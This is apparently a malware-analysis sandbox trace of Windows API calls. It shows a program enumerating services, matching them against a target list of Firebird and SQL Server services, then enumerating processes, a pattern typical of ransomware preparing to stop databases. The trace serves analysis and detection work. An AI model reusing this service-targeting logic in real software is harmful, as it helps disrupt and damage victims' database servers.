	[0090.667] EnumServicesStatusExW (in: hSCManager=0x53eec8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3195700, cbBufSize=0x1ddc, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3195700, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0090.668] CloseServiceHandle (hSCObject=0x53eec8) returned 1
	[0090.668] lstrlenW (lpString="Appinfo") returned 7
	[0090.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0090.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0090.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0090.668] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0090.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0090.668] lstrlenW (lpString="AppXSvc") returned 7
	[0090.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0090.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0090.668] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0090.668] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0090.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0090.668] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0090.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0090.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0090.668] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0090.668] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0090.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0090.669] lstrlenW (lpString="Audiosrv") returned 8
	[0090.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0090.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0090.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0090.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0090.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0090.669] lstrlenW (lpString="BFE") returned 3
	[0090.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0090.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0090.669] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0090.669] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0090.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0090.669] lstrlenW (lpString="BITS") returned 4
	[0090.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0090.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0090.669] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0090.669] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0090.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0090.669] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0090.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0090.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0090.669] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0090.669] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0090.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0090.669] lstrlenW (lpString="CDPSvc") returned 6
	[0090.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0090.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0090.669] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0090.669] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0090.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0090.669] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0090.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0090.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0090.669] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0090.669] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0090.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0090.670] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0090.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0090.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0090.670] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0090.670] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0090.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0090.670] lstrlenW (lpString="CryptSvc") returned 8
	[0090.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0090.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0090.670] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0090.670] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0090.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0090.670] lstrlenW (lpString="DcomLaunch") returned 10
	[0090.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0090.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0090.670] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0090.670] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0090.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0090.670] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0090.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0090.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0090.670] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0090.670] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0090.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0090.670] lstrlenW (lpString="Dhcp") returned 4
	[0090.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0090.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0090.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0090.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0090.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0090.670] lstrlenW (lpString="Dnscache") returned 8
	[0090.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0090.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0090.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0090.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0090.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0090.671] lstrlenW (lpString="DoSvc") returned 5
	[0090.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0090.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0090.671] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0090.671] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0090.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0090.671] lstrlenW (lpString="DPS") returned 3
	[0090.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0090.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0090.671] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0090.671] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0090.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0090.671] lstrlenW (lpString="DusmSvc") returned 7
	[0090.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0090.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0090.671] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0090.671] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0090.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0090.671] lstrlenW (lpString="EventLog") returned 8
	[0090.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0090.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0090.671] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0090.672] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0090.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0090.672] lstrlenW (lpString="EventSystem") returned 11
	[0090.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0090.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0090.672] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0090.672] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0090.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0090.672] lstrlenW (lpString="FontCache") returned 9
	[0090.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0090.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0090.673] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0090.673] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0090.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0090.673] lstrlenW (lpString="gpsvc") returned 5
	[0090.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0090.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0090.673] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0090.673] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0090.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0090.673] lstrlenW (lpString="iphlpsvc") returned 8
	[0090.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0090.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0090.673] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0090.673] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0090.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0090.673] lstrlenW (lpString="KeyIso") returned 6
	[0090.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0090.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0090.673] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0090.673] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0090.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0090.673] lstrlenW (lpString="LanmanServer") returned 12
	[0090.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0090.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0090.674] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0090.674] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0090.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0090.674] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0090.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0090.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0090.674] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0090.674] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0090.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0090.674] lstrlenW (lpString="lfsvc") returned 5
	[0090.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0090.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0090.674] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0090.674] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0090.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0090.674] lstrlenW (lpString="lmhosts") returned 7
	[0090.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0090.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0090.674] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0090.674] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0090.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0090.674] lstrlenW (lpString="LSM") returned 3
	[0090.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0090.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0090.674] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0090.674] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0090.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0090.674] lstrlenW (lpString="MapsBroker") returned 10
	[0090.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0090.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0090.674] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0090.674] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0090.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0090.674] lstrlenW (lpString="MpsSvc") returned 6
	[0090.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0090.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0090.675] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0090.675] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0090.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0090.675] lstrlenW (lpString="NcbService") returned 10
	[0090.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0090.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0090.675] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0090.675] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0090.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0090.675] lstrlenW (lpString="netprofm") returned 8
	[0090.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0090.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0090.675] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0090.675] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0090.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0090.675] lstrlenW (lpString="NlaSvc") returned 6
	[0090.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0090.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0090.675] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0090.675] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0090.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0090.675] lstrlenW (lpString="nsi") returned 3
	[0090.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0090.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0090.675] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0090.675] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0090.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0090.675] lstrlenW (lpString="PcaSvc") returned 6
	[0090.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0090.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0090.675] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0090.675] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0090.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0090.675] lstrlenW (lpString="PlugPlay") returned 8
	[0090.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0090.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0090.676] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0090.676] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0090.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0090.676] lstrlenW (lpString="Power") returned 5
	[0090.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0090.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0090.676] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0090.676] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0090.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0090.676] lstrlenW (lpString="ProfSvc") returned 7
	[0090.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0090.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0090.676] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0090.676] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0090.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0090.676] lstrlenW (lpString="RpcEptMapper") returned 12
	[0090.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0090.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0090.676] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0090.676] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0090.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0090.676] lstrlenW (lpString="RpcSs") returned 5
	[0090.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0090.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0090.676] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0090.676] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0090.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0090.676] lstrlenW (lpString="SamSs") returned 5
	[0090.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0090.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0090.676] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0090.676] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0090.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0090.676] lstrlenW (lpString="Schedule") returned 8
	[0090.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0090.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0090.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0090.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0090.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0090.677] lstrlenW (lpString="SecurityHealthService") returned 21
	[0090.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0090.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0090.677] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0090.677] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0090.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0090.677] lstrlenW (lpString="SENS") returned 4
	[0090.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0090.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0090.677] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0090.677] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0090.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0090.677] lstrlenW (lpString="ShellHWDetection") returned 16
	[0090.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0090.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0090.677] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0090.677] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0090.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0090.677] lstrlenW (lpString="Spooler") returned 7
	[0090.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0090.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0090.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0090.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0090.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0090.677] lstrlenW (lpString="SSDPSRV") returned 7
	[0090.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0090.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0090.677] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0090.677] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0090.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0090.677] lstrlenW (lpString="StateRepository") returned 15
	[0090.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0090.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0090.678] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0090.678] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0090.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0090.678] lstrlenW (lpString="SysMain") returned 7
	[0090.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0090.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0090.678] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0090.678] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0090.678] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3195700 | out: hHeap=0x500000) returned 1
	[0090.678] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300
	[0090.915] Process32FirstW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0090.915] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0090.916] lstrlenW (lpString="System") returned 6
	[0090.916] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0090.916] lstrlenW (lpString="smss.exe") returned 8
	[0090.916] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0090.917] lstrlenW (lpString="csrss.exe") returned 9
	[0090.917] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
